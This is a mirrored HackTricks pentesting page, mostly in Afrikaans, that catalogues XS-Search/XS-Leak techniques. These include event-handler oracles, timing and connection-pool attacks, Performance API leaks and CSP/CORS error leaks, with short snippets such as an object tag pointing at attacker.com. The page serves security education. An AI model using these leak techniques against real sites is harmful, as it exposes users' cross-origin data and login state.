Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search
History
Translator eb663e5711 Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
2024-09-04 13:35:49 +00:00
..
css-injection Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:35:49 +00:00
connection-pool-by-destination-example.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00
connection-pool-example.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:16:39 +00:00
cookie-bomb-+-onerror-xs-leak.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:28:56 +00:00
event-loop-blocking-+-lazy-images.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00
javascript-execution-xs-leak.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:28:56 +00:00
performance.now-+-force-heavy-task.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:28:56 +00:00
performance.now-example.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:28:56 +00:00
README.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:15:11 +00:00
url-max-length-client-side.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:28:56 +00:00

README.md

XS-Search/XS-Leaks

Gebruik **** om maklik werkvloei te bou en te automate wat aangedryf word deur die wêreld se mees gevorderde gemeenskapstools.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Basiese Inligting

XS-Search is 'n metode wat gebruik word om kruis-oorsprong inligting te onttrek deur gebruik te maak van kantkanaal kwesbaarhede.

Belangrike komponente wat betrokke is by hierdie aanval sluit in:

  • Kwetsbare Web: Die teikenwebwerf waaruit inligting onttrek moet word.
  • Aanvaller se Web: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die ontploffing huisves.
  • Insluitingsmetode: Die tegniek wat gebruik word om die Kwetsbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
  • Lek Tegniek: Tegnieke wat gebruik word om verskille in die toestand van die Kwetsbare Web te onderskei op grond van inligting wat deur die insluitingsmetode versamel is.
  • Toestande: Die twee potensiële toestande van die Kwetsbare Web, wat die aanvaller poog om te onderskei.
  • Waarneembare Verskille: Waarneembare variasies waarop die aanvaller staatmaak om die toestand van die Kwetsbare Web af te lei.

Waarneembare Verskille

Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te onderskei:

  • Statuskode: Onderskeiding tussen verskeie HTTP-responsstatuskodes kruis-oorsprong, soos bedienerfoute, kliëntfoute, of outentikasiefoute.
  • API Gebruik: Identifisering van gebruik van Web API's oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik.
  • Herlidings: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
  • Bladsy Inhoud: Waarneming van verskille in die HTTP-responsliggaam of in bladsy sub-hulpbronne, soos die aantal ingeslote rame of grootteverskille in beelde.
  • HTTP Kop: Notering van die teenwoordigheid of moontlik die waarde van 'n spesifieke HTTP-responskop, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
  • Tydsduur: Opmerking van konsekwente tydverskille tussen die twee toestande.

Insluitingsmetodes

  • HTML Elemente: HTML bied verskeie elemente vir kruis-oorsprong hulpbroninsluiting, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiële HTML-elemente vir hierdie doel kan gevind word by https://github.com/cure53/HTTPLeaks.
  • Rame: Elemente soos iframe, object, en embed kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy raam beskerming ontbreek, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap.
  • Pop-ups: Die window.open metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n vensterhandvatsel bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Modern blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
  • JavaScript Versoeke: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van XMLHttpRequests of die Fetch API. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg.

Lek Tegnieke

  • Gebeurtenis Handler: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos onload en onerror insigte bied oor hulpbronlaai sukses of mislukking.
  • Foutboodskappe: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk van die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei.
  • Globale Beperkings: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
  • Globale Toestand: Waarneembare interaksies met blaier se globale toestande (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die aantal inskrywings in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
  • Prestasie API: Hierdie API bied prestasie besonderhede van die huidige bladsy, insluitend netwerk tydsduur vir die dokument en gelaaide hulpbronne, wat afleidings oor versoekte hulpbronne moontlik maak.
  • Leesbare Eienskappe: Sommige HTML-eienskappe is leesbaar kruis-oorsprong en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die window.frame.length eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel.

XSinator Tool & Papier

XSinator is 'n outomatiese hulpmiddel om blaaiers teen verskeie bekende XS-Leaks te kontroleer soos verduidelik in sy papier: https://xsinator.com/paper.pdf

Jy kan die hulpmiddel toegang in https://xsinator.com/

{% hint style="warning" %} Uitsluit XS-Leaks: Ons moes XS-Leaks uitsluit wat staatmaak op dienswerkers aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid. {% endhint %}


Gebruik Trickest om maklik werkvloei te bou en te automate wat aangedryf word deur die wêreld se mees gevorderde gemeenskapstools.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

Tydgebaseerde tegnieke

Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te detecteer. Daar is verskillende maniere om tyd in 'n webblaaier te meet.

Horlosies: Die performance.now() API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.
Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animasies, en ander.
Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Gebeurtenis Handler Tegnieke

Onload/Onerror

{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Die kode voorbeeld probeer om scripts objek van JS te laai, maar ander tags soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die tag direk in te voeg en die onload en onerror gebeurtenisse binne die tag te verklaar (in plaas daarvan om dit van JS in te voeg).

Daar is ook 'n skrip-vrye weergawe van hierdie aanval:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In hierdie geval, as example.com/404 nie gevind word nie, sal attacker.com/?error gelaai word.

Onload Timing

{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Gedwonge Zware Taak

Hierdie tegniek is net soos die vorige een, maar die aanvaller sal ook dwing dat 'n aksie 'n relevante hoeveelheid tyd neem wanneer die antwoord positief of negatief is en daardie tyd meet.

{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die unload en beforeunload gebeurtenisse te benut. Die beforeunload gebeurtenis word geaktiveer wanneer die blaaskas op die punt is om na 'n nuwe bladsy te navigeer, terwyl die unload gebeurtenis plaasvind wanneer die navigasie werklik plaasvind. Die tydverskil tussen hierdie twee gebeurtenisse kan bereken word om die duur wat die blaaskas spandeer het om die hulpbron te verkry te bepaal.

Sandboxed Frame Timing + onload

Daar is waargeneem dat in die afwesigheid van Framing Protections, die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die onload handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variasie wat deur skripuitvoering ingebring word te omseil, kan 'n aanvaller die sandbox attribuut binne die <iframe> gebruik. Die insluiting van hierdie attribuut beperk verskeie funksies, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Bladsy Inhoud
  • More info:
  • Summary: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Bladsy Inhoud
  • More info:
  • Summary: If the page is returning the sensitive content, or a content that can be controlled by the user. The user could set valid JS code in the negative case, an load each try inside <script> tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed.
  • Code Example:

{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Statuskode & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) is a security measure that prevents web pages from loading certain sensitive cross-origin resources to protect against attacks like Spectre. However, attackers can exploit its protective behavior. When a response subject to CORB returns a CORB protected Content-Type with nosniff and a 2xx status code, CORB strips the response's body and headers. Attackers observing this can infer the combination of the status code (indicating success or error) and the Content-Type (denoting whether it's protected by CORB), leading to potential information leakage.
  • Code Example:

Check the more information link for more information about the attack.

onblur

It's possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Gebruik
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Versamel sensitiewe inligting uit 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken.
  • Code Example: Any code listening for all postMessages.

Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Tydsduur (generally due to Page Content, Statuskode)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing how long it takes for the event loop to become available again. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript's event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread.
  • Code Example:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin's activities. This method does not rely on direct access to the other origin's data but rather observes the impact of that origin's activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}

Connection Pool

  • Inclusion Methods: JavaScript Versoeke
  • Detectable Difference: Tydsduur (generally due to Page Content, Statuskode)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
  • Code Example:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browser's socket limit, for instance, 256 global sockets.
  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
  3. Employ the 256th socket to send a request to the target page.
  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page's socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Versoeke
  • Detectable Difference: Tydsduur (generally due to Page Content, Statuskode)
  • More info:
  • Summary: It's like the previous technique but instead of using all the sockets, Google Chrome puts a limit of 6 concurrent request to the same origin. If we block 5 and then launch a 6th request we can time it and if we managed to make the victim page send more requests to the same endpoint to detect a status of the page, the 6th request will take longer and we can detect it.

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it's worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page's framing policies.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it's still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it's possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError interface se boodskap eienskap identifiseer uniek hulpbronne wat suksesvol laai met 'n unieke string. 'n Aanvaller kan hierdie kenmerk benut deur die boodskapinhoud te observeer, en sodoende die responsstatus van 'n kruis-oorsprong hulpbron af te lei.

CORS Fout

Hierdie tegniek stel 'n aanvaller in staat om die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n CORS-geaktiveerde versoek na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaiers die versoek daarna ontken, word die volle URL van die omleiding se teiken in die foutboodskap bekend gemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige sensitiewe navraagparameters wat dit mag bevat, bloot.

SRI Fout

'n Aanvaller kan uitgebreide foutboodskappe benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag is, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie CORS-geaktiveerd wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsverklarings (SA), net soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus hierdie fout ontlok deur 'n vals hash waarde aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak-aanvalle.

CSP Oortreding/Dekking

'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om die teikendomein op die aanvaller se webwerf toe te laat. Sodra 'n versoek aan die teikendomein gestuur word, omlei dit na 'n kruis-oorsprong domein. CSP blokkeer die toegang daartoe en skep 'n oortredingsverslag wat as 'n lek tegniek gebruik word. Afhangende van die blaaier, kan hierdie verslag die teikensite van die omleiding lek.
Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding ontlok is.

Cache

Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy 'n spesifieke lêer aangevra het.

As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die hulpbron ongeldig maak (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels nie), 'n versoek uitvoer wat daardie hulpbron kan laai en probeer om die hulpbron met 'n slegte versoek te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai nie enige fout ontlok het nie, is dit omdat dit in die cache was.

CSP Riglyn

'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om 'n Inhoudsekuriteitsbeleid (CSP) voor te stel deur 'n eienskap op 'n iframe-element in te stel, met beleidsriglyne wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingebedde inhoud dit via 'n HTTP-kop goedkeur, of 'n foutbladsy word vertoon. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om spesifieke CSP riglyne van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n nuwe lek tegniek wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.

CORP

Die CORP-kop is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer. Die teenwoordigheid van die kop kan opgespoor word, omdat 'n hulpbron wat met CORP beskerm word 'n fout sal gooi wanneer dit gevra word.

CORB

Kyk na die skakel vir meer inligting oor die aanval.

CORS fout op Oorsprong Reflectie miskonfigurasie

In die geval dat die Oorsprong kop in die kop Access-Control-Allow-Origin weerspieël word, kan 'n aanvaller hierdie gedrag misbruik om te probeer verkry die hulpbron in CORS modus. As 'n fout nie ontlok word nie, beteken dit dat dit korrek van die web verkry is, as 'n fout ontlok word, is dit omdat dit van die cache verkry is (die fout verskyn omdat die cache 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).
Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebruik word (Access-Control-Allow-Origin: *), dit nie sal werk nie.

Leesbare Attribuut Tegniek

Fetch Omleiding

Deur 'n versoek met die Fetch API in te dien met redirect: "manual" en ander parameters, is dit moontlik om die response.type eienskap te lees en as dit gelyk is aan opaqueredirect, dan was die respons 'n omleiding.

COOP

'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) kop in 'n kruis-oorsprong HTTP-respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie kop kan opgespoor word deur te probeer om toegang te verkry tot die contentWindow verwysing. In scenario's waar COOP voorwaardelik toegepas word, word die opener eienskap 'n duidelike aanduiding: dit is onbeskryf wanneer COOP aktief is, en beskryf in sy afwesigheid.

URL Maks Lengte - Bediener Kant

As 'n bediener-kant omleiding gebruikersinvoer binne die omleiding en extra data gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n limiet versoeklengte het. As die gebruikersdata daardie lengte - 1 is, omdat die omleiding daardie data gebruik en iets ekstra byvoeg, sal dit 'n fout ontlok wat via Foutgebeurtenisse opspoorbaar is.

As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur voldoende koekies in te stel (koekie bom) sodat met die respons se verhoogde grootte van die korrekte respons 'n fout ontlok word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n selfde webwerf ontlok, <script> outomaties die koekies sal stuur (sodat jy vir foute kan kyk).
'n Voorbeeld van die koekie bom + XS-Search kan gevind word in die bedoelde oplossing van hierdie skrywe: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.

URL Maks Lengte - Kliënt Kant

Volgens Chromium dokumentasie, is Chrome se maksimum URL-lengte 2MB.

In die algemeen het die webplatform nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). Chrome beperk URL's tot 'n maksimum lengte van 2MB om praktiese redes en om te verhoed dat dit ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.

Daarom, as die omleiding URL groter in een van die gevalle is, is dit moontlik om dit te laat omlei met 'n URL groter as 2MB om die lengte limiet te tref. Wanneer dit gebeur, wys Chrome 'n about:blank#blocked bladsy.

Die waarneembare verskil is dat as die omleiding voltooi was, window.origin 'n fout gooi omdat 'n kruis oorsprong nie daardie inligting kan bekom nie. As die limiet egter getref is en die gelaaide bladsy about:blank#blocked was, bly die venster se origin dié van die ouer, wat 'n toeganklike inligting is.

Alle ekstra inligting wat nodig is om die 2MB te bereik, kan via 'n hash in die aanvanklike URL bygevoeg word sodat dit in die omleiding gebruik sal word.

{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Maks Omleidings

As die maks aantal omleidings wat 'n blaaiers kan volg 20 is, kan 'n aanvaller probeer om sy bladsy met 19 omleidings te laai en uiteindelik die slagoffer na die getoetste bladsy te stuur. As 'n fout ontlok word, dan was die bladsy besig om die slagoffer te probeer omlei.

Geskiedenis Lengte

Die Geskiedenis API laat JavaScript kode toe om die blaaiers geskiedenis te manipuleer, wat die bladsye wat deur 'n gebruiker besoek is, stoor. 'n Aanvaller kan die lengte eienskap as 'n insluitingsmetode gebruik: om JavaScript en HTML navigasie te detecteer.
Kontroleer history.length, maak 'n gebruiker na 'n bladsy te navigeer, verander dit terug na die selfde oorsprong en kontroleer die nuwe waarde van history.length.

Geskiedenis Lengte met dieselfde URL

  • Insluitingsmetodes: Raamwerke, Pop-ups
  • Waarneembare Verskil: As die URL dieselfde is as die geraamde een
  • Opsomming: Dit is moontlik om te raai of die ligging van 'n raam/pop-up in 'n spesifieke URL is deur die geskiedenis lengte te misbruik.
  • Kode Voorbeeld: Hieronder

